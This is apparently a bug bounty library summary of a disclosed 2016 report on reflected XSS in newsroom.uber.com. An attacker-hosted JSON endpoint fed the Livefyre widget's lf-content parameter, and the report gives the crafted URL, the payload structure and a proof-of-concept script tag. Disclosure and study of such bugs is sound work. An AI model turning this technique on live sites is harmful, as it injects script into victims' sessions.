# Reflected XSS via Livefyre Media Wall in newsroom.uber.com

Livefyre Media Wall's lf-content parameter let an attacker point the widget at an attacker-controlled JSON endpoint, injecting script via bodyHtml on newsroom.uber.com.

- Payout: $2,000
- Severity: medium
- Program: Uber
- Credited: mdv
- Disclosed: 2016-05-09
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/134061
- Library page: https://bugbountylibrary.com/r/h1%3A134061
- Tags: domain:web impact:integrity kind:bounty platform:hackerone sev:medium tech:cdn technique:source-review vuln:xss

**Target:** Livefyre Media Wall widget on newsroom.uber.com
**Root cause:** The streamhub-permalink.js widget trusted the lf-content URL parameter to specify a remote domain and fetched JSON from it, then rendered the bodyHtml field as raw HTML without sanitization.
**Steps:**
1. Craft lf-content value `danylod.com/uber.php?:131560603:307477931` mapping to controlled-domain:collection_id:content_id
2. Host JSON at https://bootstrap.danylod.com/uber.php returning status ok with content[].content.bodyHtml containing `<script>alert(document.domain)</script>`
3. Visit `https://newsroom.uber.com/?lf-content=danylod.com/uber.php?:131560603:307477931`
4. Widget fetches attacker JSON from bootstrap.controlled-domain and renders bodyHtml, executing script in newsroom.uber.com origin
**How found:** Researcher inspected the streamhub-permalink.min.js source and noticed the lf-content parameter controls the domain and IDs used to build the bootstrap API URL, meaning the JSON source is attacker-controllable.
**Exploitation:** Attacker hosts a JSON API mimicking Livefyre's bootstrap response with malicious bodyHtml, then lures a victim to a crafted newsroom.uber.com URL whose lf-content parameter points at the attacker domain; the widget loads and renders the payload, executing JS in Uber's origin.
**Insight:** Third-party embed widgets that accept a domain/URL parameter to fetch their data config are a direct path to stored/reflected XSS on the host origin; grep embed scripts for parameters that build fetch URLs.